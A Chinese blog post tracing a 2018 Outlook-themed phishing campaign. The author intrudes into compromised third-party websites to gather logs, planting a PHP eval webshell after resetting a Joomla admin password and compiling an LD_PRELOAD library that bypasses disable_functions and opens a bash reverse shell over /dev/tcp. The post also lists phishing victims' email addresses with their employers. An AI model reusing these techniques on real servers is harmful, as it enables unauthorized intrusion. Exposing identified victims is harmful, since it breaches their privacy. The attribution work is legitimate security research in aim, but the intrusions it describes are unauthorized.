作者:道明君
公众号:https://mp.weixin.qq.com/s/2_-dXLwkC3slFYV4lBsp2w

一、前言

近日朋友收到一封来自海外的钓鱼邮件,委托我帮忙分析。因此我对钓鱼者身份和攻击路径进行了一次详细的溯源。大致摸清了攻击者组织身份、攻击手法以及动机。本次溯源工作主要是通过提取攻击者控制的肉鸡服务器、网站访问日志、攻击者后门特征等。关联分析这些日志和特征最终得到攻击者的身份信息。本文以流水账的方式,详细记录整个溯源过程,包括分析手法和思路,以供安全研究人员参考。

二、信息收集

这是一封冒充 Microsoft Outlook WebApp 密码过期的钓鱼邮件:

钓鱼邮件1.jpg-172.9kB

2.1 邮件正文:

Received: from sysmailout1.platon.sk (unknown [85.248.228.17])
    by bizmx16.qq.com (NewMx) with SMTP id 
    for <test@test.cn>; Thu, 29 Nov 2018 06:56:41 +0800
X-QQ-SPAM: true
X-QQ-FEAT: jfJxHuYZxOCSeMM7azx75jXNlqmrApsudtGuMpkas54ZAC17UV7M4b/R5+7i0
    PKMg4QGPsKjsZDM+XUXd0s8kb9W0jCArNfxa3+HTU9vKECwH9fbHyzA2+de0ctDM9+ziJ5w
    1BJI2Ppc9DVh5DYSq8ySLhcBVRj6sBsJefxrSztWrgzKi58wWFCv7LPgqOAXS+VVMyVipbT
    fHFacZXmdB00T62nXv8xQociZvHE+8ELBoHVgcA3ZWA7p4no8o1e0Z8ShUvX2P5FwhvXPLZ
    QUg8HNiMhXk5NEtQVC0Y7R9JwKV2VeKybQbg==
X-QQ-MAILINFO: Mms3jrkBGwMrz972clMUbgsPqZ0t5EGjrqWV2rMFcEfTT5Y9lunbPCtSM
    4HaaK+iUBVTvuth5bvdEvVKkuiTcOnkJ0t3khnTYcRGfQmEIZI+ZrNXlT/8QxjWMjOsiHkK
    yGbgfv5Gx9Qr65abnNzXymg=
X-QQ-mid: bizmx16t1543445804ti4ex7suw
X-QQ-CSender: www-data@m7web1.platon.sk
X-QQ-ORGSender: www-data@m7web1.platon.sk
X-KK-mid:bizmxp6t1543445804t9ne878su
Received: from m7web1.platon.sk (m7web1.platon.sk [85.248.229.150])
    by sysmailout1.platon.sk (Postfix) with ESMTP id 8EFCC217002E
    for <test@test.cn>; Wed, 28 Nov 2018 23:56:38 +0100 (CET)
Received: by m7web1.platon.sk (Postfix, from userid 33)
    id 89364400A3A1; Wed, 28 Nov 2018 23:56:38 +0100 (CET)
To: test@test.cn
Subject: =?UTF-8?Q?Password_expiry_notice?=
Date: Wed, 28 Nov 2018 23:56:38 +0100
From: =?UTF-8?Q?Microsoft_Online_Services_Team?= <no-response@365.mirohaviar.sk>
Message-ID: <0a9ee06dc11866565f0302302c647c7a@www.mirohaviar.sk>
X-Priority: 3
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset="us-ascii"

略...

<br data-tomark-pass>The password for the Microsoft 365 account<span style=3D"font-weight: b=
old;"> test@test.cn
</span> has
expired.<br data-tomark-pass>![mir-nc.png-57.1kB][2]
<span class=3D"Apple-converted-space"></span><br data-tomark-pass>To protect your Microsoft =
account, your existing password may cease to work
shortly.<br data-tomark-pass>
<br data-tomark-pass>
You are now required to <span class=3D"Apple-converted-space"></span><a hre=
f=3D"http://www.rosturplast.com/shells/logon.secureaccess/?ml=3Dtest@=
test.cn
"><span style=3D"font-weight: bold;">change
your password</span></a>
immediateIy.<span class=3D"Apple-converted-space"> <br data-tomark-pass>
=2E</span><br data-tomark-pass>
<a href=3D"http://www.rosturplast.com/shells/logon.secureaccess/?ml=3Dtest=@test.cn

略...

2.2 分析邮件内容

根据邮件内容得到的信息如下:

钓鱼网站: www.rosturplast.com(137.74.81.5 法国)

钓鱼链接: http://www.rosturplast.com/shells/logon.secureaccess/?ml=test@test.cn

发件地址: no-response@365.mirohaviar.sk

服务商: Platon Technologies, s.r.o (斯洛伐克)

SMTP: sysmailout1.platon.sk (85.248.228.17 斯洛伐克)

三、渗透钓鱼网站

3.1 漏洞分析

目标网站:www.rosturplast.com

访问钓鱼链接,一个克隆OWA修改密码的的虚假页面,我们按照正常流程走一遍,密码随便输入。不出所料页面提示密码错误,这么做可以收集受害者多个密码提高成功率,仔细想想这个功能还是很贴心的:)。

Step 1 钓鱼邮件页面1.png-45.6kB Step 2 钓鱼邮件页面3.png-50.6kB Step 3 钓鱼邮件页面2.png-35.6kB

抓包如下: 注入、跨站之流都是不存在的。 钓鱼页面表单提交抓包.png-205.9kB

访问首页,这是一家俄罗斯的塑料水管厂商,攻击者入侵了这个网站,放置了钓鱼页面,再通过邮件传播。

Screenshot-2018-12-11 RTP – Russian manufacturer of plastic pipes and fittings – High Quality Pipes and Fittings.png-1622.7kB

端口扫描显示开放了一堆端口,防火墙做了策略限制。

nmap-rosturplast.com-carbon.png-397.3kB 通过扫描分析,得到沦陷主机信息如下:

[+] HOST: www.rosturplast.com (137.74.81.5 法国)
[+] OS: Red Hat 4.8
[+] Web Server: Apache/2.4.6 OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
[+] CMS: Joomla 3.3.3 (Joomla!是一套海外流行的建站系统,基于PHP+MySQL开发)

这是一个低版本的Joomla,joomscan扫描显示受害网站有一堆漏洞,看起来弱不禁风,Getshell指日可待。 joomscan-rosturplast.png-995.8kB

扫描发现PHPMailer RCE漏洞,不过需要邮件发送表单功能才能利用,这一堆漏洞里面,看起来唯一有机会的是CVE-2016-9838(Joomla! Core Remote Privilege Escalation Vulnerability),然而经过测试攻击者(丧心病狂)贴心的把用户注册页面删除了!堵住了漏洞,导致无法利用。 FireShot Capture .png-146.7kB

机智的我(此时毫无办法),开始挂字典整合Joomla目录盲扫备份文件,最后发现目标存在PhpMyAdmin后台,和一个报错页面,页面显示了网站绝对路径和疑似以日期格式生成的网站备份的文件名。

/var/www/rosturpl/data/www/rosturplast.com/rosturplast.com.2015-11-11.zip

3.2 陷入僵局

尝试下载这个文件,http响应404。看了一下同站有多个站点,但旁站渗透是个体力活,国外这种典型的CloudLinux+cPanel的架构不好提权。到这一步陷入了僵局,睡个午觉养养神,下午继续研究。

wget http://www.rosturplast.com/rosturplast.com.2015-11-11.zip  错误 404:Not Found

3.3 后台提权

不到万不得已,不从旁站和C段入手,稍加思索根据报错页面的备份文件名格式生成日期文件,尝试遍历日期下载,碰碰运气。

脚本内容:

#!/bin/bash
startdate=`date -d "+0 day $1" +%Y%m%d`
enddate=`date -d "+0 day $2" +%Y%m%d`
while [[ $startdate -le $enddate ]]
do
date=$startdate
startdateother=`date -d "+0 day $date" +%Y-%m-%d`
dateother=$startdateother
url=http://www.rosturplast.com/rosturplast.com.$dateother.zip
echo "$url"
startdate=`date -d "+1 day $date" +%Y-%m-%d`
startdateother=`date -d "+1 day $date" +%Y-%m-%d`
wget $url
done

脚本大概跑了一个下午,当到达2017-08-07的时候,响应200状态码,看到rosturplast.com.2017-08-07.zip的文件大小为177M 感觉成了,解压后果然是整站备份,果然是柳暗花明又一shell。

wget-rosturp.png-864.5kB 2018-12-01 05-18-10屏幕截图.png-159.4kB

查看配置文件configuration.php得到数据库连接信息,登录PhpMyAdmin后台。低权限无法直接写shell,只能修改默认密码登录Joomla!后台。

public $dbtype = 'mysqli';
public $host = 'localhost';
public $user = 'user***';            //敏感信息打码
public $password = 'K********6759';  //敏感信息打码
public $db = 'rtp_com3';
public $dbprefix = 'ms8ef_';
public $live_site = '';
public $secret = '5qp******4zU';     //敏感信息打码    

rosturp.configuration-.png-708.2kB rosturplast.com-phpmyadmin (1).png-136.6kB

备份原始密文以备还原,将后台密码修改为 test123456XYZ

http://www.rosturplast.com/administrator/
admin / test123456XYZ

joomla-manager1.png-132.6kB

登录后台,通过模板写入WebShell

Extensions ---> Template Manager ---> Template ---> New Files ---> PHP WebSehll

joomla-getshell1.png-83.2kB 这里写入了PHP一句话WebShell,通过Cknife(java版中国菜刀)对网站进行控制。

<?php @eval($_POST['cmd']);?>

2018-11-29 13-04-43屏幕截图.png-140.1kB

查看攻击者的钓鱼文件目录,user.txt 详细记录了上钩的受害者信息。 rostruplast.com-user.txt-.png-138kB

3.4 日志分析

将网站文件和访问日志下载到本地分析

[/tmp]$ tar zcvf /var/www/rosturpl/data/www/rosturplast.com/log.tar.gz /var/www/rosturpl/data/access-logs /var/www/rosturpl/data/logs/rosturplast*

[/tmp]$ tar zcvf /var/www/rosturpl/data/www/rosturplast.com/www.tar.gz  --exclude=/var/www/rosturpl/data/www/rosturplast.com/www.tar.gz  /var/www/rosturpl/data/www/rosturplast.com/

wget -c http://www.rosturplast.com/log.tar.gz && wget -c http://www.rosturplast.com/www.tar.gz

? root@kali  /tmp  gzip -d *.gz
? root@kali  /tmp  ls -lh

总用量 22M
-rw-r----- 1 48 6313 392K 11月 30 16:19 rosturplast.com.access.log
-rw-r----- 1 48 6313 418K 11月 21 08:08 rosturplast.com.access.log-20181121
-rw-r----- 1 48 6313 315K 11月 22 08:27 rosturplast.com.access.log-20181122
-rw-r----- 1 48 6313 367K 11月 23 08:08 rosturplast.com.access.log-20181123
-rw-r----- 1 48 6313 332K 11月 24 08:20 rosturplast.com.access.log-20181124
-rw-r----- 1 48 6313 394K 11月 25 08:30 rosturplast.com.access.log-20181125
-rw-r----- 1 48 6313 217K 11月 26 08:27 rosturplast.com.access.log-20181126
-rw-r----- 1 48 6313 338K 11月 27 08:07 rosturplast.com.access.log-20181127
-rw-r----- 1 48 6313 1.8M 11月 28 08:35 rosturplast.com.access.log-20181128
-rw-r----- 1 48 6313 2.3M 11月 29 08:38 rosturplast.com.access.log-20181129
-rw-r----- 1 48 6313 6.4M 11月 30 08:38 rosturplast.com.access.log-20181130
-rw-rw---- 1 48 6313 267K 11月 30 16:00 rosturplast.com.error.log
-rw-rw---- 1 48 6313 3.8K 11月 21 03:44 rosturplast.com.error.log-20181121
-rw-rw---- 1 48 6313 1.9K 11月 21 14:43 rosturplast.com.error.log-20181122
-rw-rw---- 1 48 6313 1.9K 11月 23 02:30 rosturplast.com.error.log-20181123
-rw-rw---- 1 48 6313 5.0K 11月 24 01:46 rosturplast.com.error.log-20181124
-rw-rw---- 1 48 6313 8.3K 11月 25 02:07 rosturplast.com.error.log-20181125
-rw-rw---- 1 48 6313 2.3K 11月 26 05:05 rosturplast.com.error.log-20181126
-rw-rw---- 1 48 6313 4.1K 11月 27 05:34 rosturplast.com.error.log-20181127
-rw-rw---- 1 48 6313 550K 11月 28 08:35 rosturplast.com.error.log-20181128
-rw-rw---- 1 48 6313 6.5M 11月 29 07:51 rosturplast.com.error.log-20181129
-rw-rw---- 1 48 6313 1.4M 11月 30 08:38 rosturplast.com.error.log-20181130

用D盾扫网站文件,发现这个网站已成跑马场。 2018-11-30 17-00-28屏幕截图.png-59.9kB

攻击者在shells/目录下放置钓鱼文件和PHP后门。 rosturplast.com-shells-ls.png-306.7kB

查看哪些IP访问了后门并统计次数

查询攻击者IP地址

 ? root@kali  /tmp/rosturplast.com/log  grep "/shells/" * |grep "php" | awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort -t " " -k 1 -n -r  >ip.txt

26 174.85.145.99
20 50.73.252.169
10 213.233.104.120
2 207.228.149.69
2 195.211.23.207
2 129.205.113.8
 ? root@kali  /tmp/rosturplast.com/log  for line in $(<ip.txt); do curl https://ip.cn/\?ip\=$line ; done

IP: 174.85.145.99 来自: 美国 
IP: 50.73.252.169 来自: 美国 
IP: 213.233.104.120 来自: 罗马尼亚 
IP: 207.228.149.69 来自: 百慕大 
IP: 195.211.23.207 来自: 俄罗斯 
IP: 129.205.113.8 来自: 尼日利亚

根据后门文件名,匹配Apache访问日志得到攻击者的代理IP和User Agent

 ? root@kali  /tmp  grep "/shells" *| grep "php" |grep "POST" |awk -F ":" '{print $2 $6}' |sort |uniq

129.205.113.8 - - [30/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36"
174.85.145.99 - - [27/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
207.228.149.69 - - [28/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
213.233.104.120 - - [27/Nov/2018//www.rosturplast.com/shells//bacu.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv
50.73.252.169 - - [29/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"

通过日志匹配邮箱并去重得到受害者邮箱地址

egrep '[0-Z_]{1,}@[0-Z]{1,}(\.[0-Z]{1,})+' *  | awk -F "\"" '{print $2}' |awk -F "HTTP" '{print $1}' |awk -F "ml=" '{print $2}' |sort |uniq
 ? root@kali  /tmp  egrep '[0-Z_]{1,}@[0-Z]{1,}(\.[0-Z]{1,})+' *  | awk -F "\"" '{print $2}' |awk -F "HTTP" '{print $1}' |awk -F "ml=" '{print $2}' |sort |uniq

alexsin54@yahoo.com             //攻击者邮箱  
clavenda.payman@lbdi.net        //利比亚发展投行CFO
dennis@rayfields.co.za          //域名失效
georges.raad@nera.net           //新加坡IT基础设施提供商员工
gthakkar@sscinc.com             //美国SS&C Technologies, Inc. (印度分公司)
jasonchowan223@gmail.com        //攻击者邮箱
******@******.com               //同事
jiajie.lim@cimb.com             //马来西亚联昌国际银行员工
kohchinbeng@bdo.com.sg          //新加坡立信会计师事务所员工
mayfaithlee@hotmail.com         //未知
philip@beekoo.hk                //深圳市很有蜂格网络科技有限公司CEO
Point72.IR@sscinc.com           //美国SS&C Technologies, Inc.
shunweicapital@sscinc.com       //美国SS&C Technologies, Inc.(疑似顺为资本)
url@email.com                   //无效

3.5 受害者身份识别

通过搜索引擎对这15个受害者邮箱进行身份识别。

3.5.1 alexsin54@yahoo.com / jasonchowan223@gmail.com

alexsin54@yahoo.com:攻击者欺诈账户,曾被举报过,在这里攻击者用来作钓鱼测试。 jasonchowan223@gmail.com:通过钓鱼程序配置文件获得。 ./logon.secureaccess/mail.php:$mail="jasonchowan223@gmail.com";

来源:http://www.payer.org/test/

来源:https://avoidaclaim.com/2018/debt-collection-fraud-using-the-name-yeung-alexander-luk/ alexsin54@yahoo.com-欺诈账户.png-124.7kB alexsin54@yahoo.com-欺诈账户2.png-196.4kB

3.5.2 clavenda.payman@lbdi.net

Mrs. Clavenda O. PAYMAN 利比亚发展投行(Liberian Bank forDevelopment and nvestment)首席财务官

来源:https://www.adfi-ci.org/downloads/telecharger.php?Fichier_a_telecharger=files/aadfi_doc_en_20130623170205.pdf&chemin=&id=91 clavenda.payman@lbdi.net-1.png-86kB clavenda.payman@lbdi.net-2.png-169.6kB

3.5.3 georges.raad@nera.net

疑似新加坡 Nera Telecommunications Ltd(IT基础设施提供商)公司员工

来源:http://www.nera.net/about-us.html

3.5.4 gthakkar@sscinc.com

美国SS&C Technologies, Inc. & 印度金融服务公司 Globeop Financial Services Technologies (India) Private Limited

来源:https://www.instafinancials.com/company/globeop-financial-services-india-private-limited/U67100MH2003PTC141044

来源: http://www.seepz.gov.in/writereaddatafolder/Regional%20Governing%20Council%20of%20EPCES%20for%202016-18.pdf gthakkar@sscinc.com1.png-169.5kB

3.5.5 jiajie.lim@cimb.com

马来西亚联昌国际银行员工(CIMB Group)

来源:https://www.cimb.com/en/who-we-are.html

3.5.6 kohchinbeng@bdo.com.sg

KOH CHIN BENG 新加坡立信会计师事务所员工

来源:https://www.bdo.com.sg/en-gb/our-people/koh-chin-beng kohchinbeng@bdo.com.sg-1.png-263.7kB

3.5.7 philip@beekoo.hk

深圳市很有蜂格网络科技有限公司 CEO
来源:https://m.zhipin.com/job_detail/1407383492.html
来源:https://www.tianyancha.com/company/2349004659
philip@beekoo.hk-1.png-101.3kB

四、渗透邮件发送网站

目标:mirohaviar.sk ,这是一个博客网站

4.1 漏洞扫描

服务器信息如下:

[+] HOST: mirohaviar.sk(85.248.229.150 斯洛伐克)
[+] OS: Debian 7
[+] Web Server:Apache/2.2.22 PHP/5.2.6-1+lenny16
[+] CMS: Joomla 1.5
nmap-mirohaviar.sk-1.png-123.2kB

joomscan-1mirohaviar.sk.png-660.5kB CMS漏洞扫描得到图示的漏洞信息,经过测试全部无法利用,其他端口也没有发现可以利用的的漏洞,看来攻击者也是一个勤奋的同学,入侵成功后做了相应的修复和加固,看起来毫无办法,好像只能旁站或者C段渗透了。

然而有人的地方就有江湖,有黑客入侵过的网站一定有后门。这类利用通用漏洞批量入侵的黑客团伙,后门文件一般都有特征,我根据前一个网站获得的php后门文件名列表,批量访问当前网站得到了三个相同的后门文件。

rosturplast.com-shells-1.png-169.4kB

 ? root@kali  /tmp/rosturplast.com/webroot/shells  md5sum *         
724e7316427151ea1f449f38a28f642c  406.php
3e8a7cf7049e8b9ab8dfca7d3c827c4a  aaaa
aaf775b99997c166ff45677806d809de  an.php
e5c06f1f66781ba5c39d909096c4cd47  a.txt
f71ad06982064b125d155b6f601198b8  bacu.php
f2d7553b97d8e0a0258e48c3ca42a7d2  baer.php
c01a0691c484a8d00977a100d8706b50  cfg.php
e5c06f1f66781ba5c39d909096c4cd47  config.php
md5sum: logon.secureaccess: 是一个目录
983ba05973b84e33e76916ca0dabedec  new2bug.txt
1c014f955a67974dc779100c13162f1a  priv8.php
2a73dda7ebb3b8d1c0d094b79623e9ff  setup.php
80b5dadd0a9856f1e6d950843140d24e  switch-security.php
48f50fb676028e0ae82f3f2db4e26247  unzipper.php
51f0bba7ec30b8778dca19ead016a58f  webapp365.zip
58d1d66c0be0739319156702522b1b52  wso.php

相同文件名如下:

http://www.mirohaviar.sk/config.php
http://www.mirohaviar.sk/an.php
http://www.mirohaviar.sk/bacu.php  Pro Mailer V2

其中 http://www.mirohaviar.sk/config.php 是攻击者的加密WebShell,理论上只需解密获得密码就能登录这个后门。

4.2 解密WebShell

解密过程如下

awk -F "\"" '{print $2}' config.php 

//去除头尾多余字符,得到base64密文。
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\'

//第一次base64解码,得到16进制密文
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\' |xxd -r -p

//第二次hex解码,得到base64密文
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\' |xxd -r -p |base64 -d -i |awk -F "\"" '{print $2}'

//第三次base64解码,得到base64密文
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\' |xxd -r -p |base64 -d -i |awk -F "\"" '{print $2}' |base64 -d -i |awk -F "\"" '{print $2}' 

//第四次base64解码,得到base64密文
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\' |xxd -r -p |base64 -d -i |awk -F "\"" '{print $2}' |base64 -d -i |awk -F "\"" '{print $2}' |base64 -d -i

//第五次base64解码,得到明文

PHP后门解密过程1.png-3103.9kB

得到后门密码hash(MD5),解密后得到明文: root (饶了个大弯原来是个弱口令,下次遇到这类先跑一下密码)

$auth_pass = "63a9f0ea7bb98050796b649e85481845";  

2019-01-24 12-22-41屏幕截图.png-17.3kB

这个后门有点皮,做了UserAgent判断,我浏览器默认设置的UA是Googlebot,访问显示404,这是反搜索引擎爬虫的惯用手段,所以我换了个正常浏览器的UA访问得到正常页面。

if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

mirohaviar.sk-config.php-shell.png-13.4kB

4.3 提权

通过webshell得到了具体系统信息,下一步尝试提权,目的是获得Apache的web访问日志。 mir-sysinfo.png-118.7kB

4.3.1 突破disable_functions

测试发现目标限制跨目录(open_basedir),并禁用了命令执行函数,导致WebShell权限下,无法跨目录访问也无法执行命令。

disable_functions:   escapeshellarg,escapeshellcmd,exec,passthru,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,system,popen,pcntl_exec   

open_basedir:   /storage/www/mirohaviar.sk/:/storage/www-include/:/usr/share/php5/:/usr/share/file/:/usr/share/pear/:/tmp/

mir-disable_functions.png-60.7kB

突破的手段很多,这里我利用LD_PRELOAD动态链接来劫持php的mail函数突破disable_functions执行系统命令。

查看sendmail函数在执行过程中动态调用哪些标准库函数。

www-data@m7web1:/tmp$ readelf -Ws /usr/sbin/sendmail 
Symbol table '.dynsym' contains 420 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND 
     1: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __printf_chk@GLIBC_2.3.4 (2)
     2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getegid@GLIBC_2.2.5 (3)
     3: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND dane_raw_tlsa@DANE_0_0 (4)
     4: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND gnutls_ocsp_resp_print@GNUTLS_3_4 (5)
     5: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND gnutls_x509_crt_get_serial@GNUTLS_3_4 (5)
     6: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __errno_location@GLIBC_2.2.5 (3)
     7: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND gnutls_db_set_cache_expiration@GNUTLS_3_4 (5)
     8: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND sendto@GLIBC_2.2.5 (3)

     ......

     76: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getuid@GLIBC_2.2.5 (3)
     77: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND send@GLIBC_2.2.5 (3)

从中选取geteuid函数进行测试,编写动态链接程序bypass.c

#include<stdlib.h>
#include <stdio.h>    
#include<string.h> 
void payload() {
    system("bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/999 0>&1");
}  
int geteuid() {
if(getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

当这个共享库中的geteuid被调用时,尝试加载payload()函数,执行命令调用system执行一个反弹shell的操作(xxx.xxx.xxx.xxx即是我的公网服务器IP)

编译

gcc -c -fPIC bypass.c -o bypass
gcc -shared bypass.c -o bypass.so

上传

www-data@m7web1:/tmp$ cat b64.txt|base64 -d >bypass.so
www-data@m7web1:/tmp$ file bypass.so
file bypass.so
bypass.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV)

执行

bypass.php

<?php
putenv("LD_PRELOAD=/tmp/bypass.so");
mail("test@localhost","","","","");
?>

浏览器访问http://www.mirohaviar.sk/bypass.php页面后成功执行命令,得到了一个www-user权限的反弹shell。 mir-nc.png-57.1kB

4.3.2 发现行踪

仔细看这是一家斯洛伐克的网络公司,这台服务器上面托管了五百多个网站,当前的权限可以访问这些网站的文件和数据库,令人遗憾的的是apache日志目录/var/log/apache2/无权限访问。 mir-site.png-112.8kB

不过我在/tmp目录下面发现了一个有趣的日志文件。

[/tmp/]$cat w
--2018-11-26 04:49:06--  http://187.85.134.4/cacat/mm.tgz
Connecting to 187.85.134.4:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 769309 (751K) [application/x-gzip]
Saving to: 'mm.tgz'

     0K .......... .......... .......... .......... ..........  6%  174K 4s
    50K .......... .......... .......... .......... .......... 13%  176K 4s
   100K .......... .......... .......... .......... .......... 19% 14.1M 2s
   150K .......... .......... .......... .......... .......... 26%  353K 2s
   200K .......... .......... .......... .......... .......... 33%  353K 2s
   250K .......... .......... .......... .......... .......... 39% 19.8M 1s
   300K .......... .......... .......... .......... .......... 46%  355K 1s
   350K .......... .......... .......... .......... .......... 53% 28.7M 1s
   400K .......... .......... .......... .......... .......... 59% 23.6M 1s
   450K .......... .......... .......... .......... .......... 66%  344K 1s
   500K .......... .......... .......... .......... .......... 73% 18.0M 0s
   550K .......... .......... .......... .......... .......... 79%  360K 0s
   600K .......... .......... .......... .......... .......... 86% 20.4M 0s
   650K .......... .......... .......... .......... .......... 93% 20.2M 0s
   700K .......... .......... .......... .......... .......... 99% 12.7M 0s
   750K .                                                     100% 2438G=1.3s

2018-11-26 04:49:10 (577 KB/s) - 'mm.tgz' saved [769309/769309]

4.4 追踪

根据泄露日志,使用谷歌搜索关键字:http://187.85.134.4,发现了一个历史页面。 2019-01-21 18-19-42屏幕截图.png-106.2kB 2019-01-21 18-29-31屏幕截图.png-34.3kB 这是一个已经被删除的后门页面,刚好被谷歌爬虫收录了,进一步搜索一下这个后门参数的关键字: inurl:bc.php?filesrc=,得到了多条后门记录。 2019-01-21 18-33-46屏幕截图.png-197.6kB 其中多个WebShell缓存页面内容跟上一个被黑网站的临时目录中发现的日志内容吻合,疑似自动化攻击留下的日志,WebShell底部署名:Muslim Cyber Corp - Mujahidin Cyber Army - Family Attack Cyber ,表明后门均为这个黑客组织所有。 2018-12-03 10-01-46屏幕截图.png-194kB 进一步搜索这个黑客组织名称,发现大量被黑网站,程序使用Wordpress与Joomla居多。 A111.png-160.3kB A22.png-9.2kB A33.png-88.2kB A44.png-62.1kB A55.png-56.5kB

4.5 提取日志

我提取了其中几个被入侵网站的访问日志。

4.5.1 网站:www.radiolanalhue.cl

打包

tar zcvf /home/radiolanalhue/public_html/www.radiolanalhue.cl.tar.gz
--exclude=/home/radiolanalhue/public_html/www.radiolanalhue.cl.tar.gz  /home/radiolanalhue/public_html/  

tar zcvf /home/radiolanalhue/public_html/www.radiolanalhue.cl.log.tar.gz /home/radiolanalhue/logs/radiolanalhue.cl-ssl_log-Nov-2018.gz /home/radiolanalhue/access-logs/ /home/radiolanalhue/access-logs/radiolanalhue.cl  

下载

wget -c http://www.radiolanalhue.cl/www.radiolanalhue.cl.tar.gz 
wget -c http://www.radiolanalhue.cl/www.radiolanalhue.cl.log.tar.gz

分析

根据后门文件名,匹配Apache访问日志,到攻击者代理IP和User Agent。


 ? ? root@kali  /tmp/radiolanalhue.cl/log/  grep "/beez5/" radiolanalhue.cl-Dec-2018

疑似攻击者代理IP:

212.1.211.3 (美国) - - [30/Nov/2018:13:35:36 -0300] "GET /online/templates/beez5/bc.php HTTP/1.1" 200 16823 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"


谷歌爬虫:
66.249.66.149 - - [01/Dec/2018:00:53:57 -0300] "GET /online/templates/beez5/bc.php HTTP/1.1" 200 16823 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"

66.249.66.151 - - [01/Dec/2018:06:34:34 -0300] "GET /online/templates/beez5/bc.php?filesrc=/home/radiolanalhue/public_html/online/templates/beez5/favicon.ico&path=/home/radiolanalhue/public_html/online/templates/beez5 HTTP/1.1" 200 2348 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"

66.249.66.153 - - [01/Dec/2018:06:51:46 -0300] "GET /online/templates/beez5/bc.php?filesrc=/home/radiolanalhue/public_html/online/templates/beez5/component.php&path=/home/radiolanalhue/public_html/online/templates/beez5 HTTP/1.1" 200 5456 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"

4.5.2 网站:zebramedia.al

打包

tar zcvf /home/vayqpdvg/zebramedia.al/zebramedia.al-www.tar.gz --exclude=/home/vayqpdvg/zebramedia.al/zebramedia.al-www.tar.gz /home/vayqpdvg/zebramedia.al/
tar zcvf /home/vayqpdvg/zebramedia.al/zebramedia.al-log.tar.gz /home/vayqpdvg/logs

下载

wget  http://zebramedia.al/zebramedia.al-log.tar.gz
wget  http://zebramedia.al/zebramedia.al-www.tar.gz


-rw-r--r-- 1 1365 1328   478714 11月 30 21:15 evropakrijuese.publik.live-Nov-2018.gz
-rw-r--r-- 1 1365 1328     6463 11月 30 21:15 evropakrijuese.publik.live-ssl_log-Nov-2018.gz
-rw-r--r-- 1 1365 1328  1855430  6月  30  2018 ftp.publik.live-ftp_log-Jun-2018.gz
-rw-r--r-- 1 1365 1328     7899 11月 27 21:12 ftp.publik.live-ftp_log-Nov-2018.gz
-rw-r--r-- 1 1365 1328 22883767 11月 30 21:15 ief.publik.live-Nov-2018.gz
-rw-r--r-- 1 1365 1328    67526 11月 30 21:15 ief.publik.live-ssl_log-Nov-2018.gz
-rw-r--r-- 1 1365 1328    68187 11月 30 21:15 instadyqan.publik.live-Nov-2018.gz
-rw-r--r-- 1 1365 1328    34530 11月 30 21:15 instadyqan.publik.live-ssl_log-Nov-2018.gz
-rw-r--r-- 1 1365 1328    35748 11月 30 21:15 pigmentnews.publik.live-Nov-2018.gz
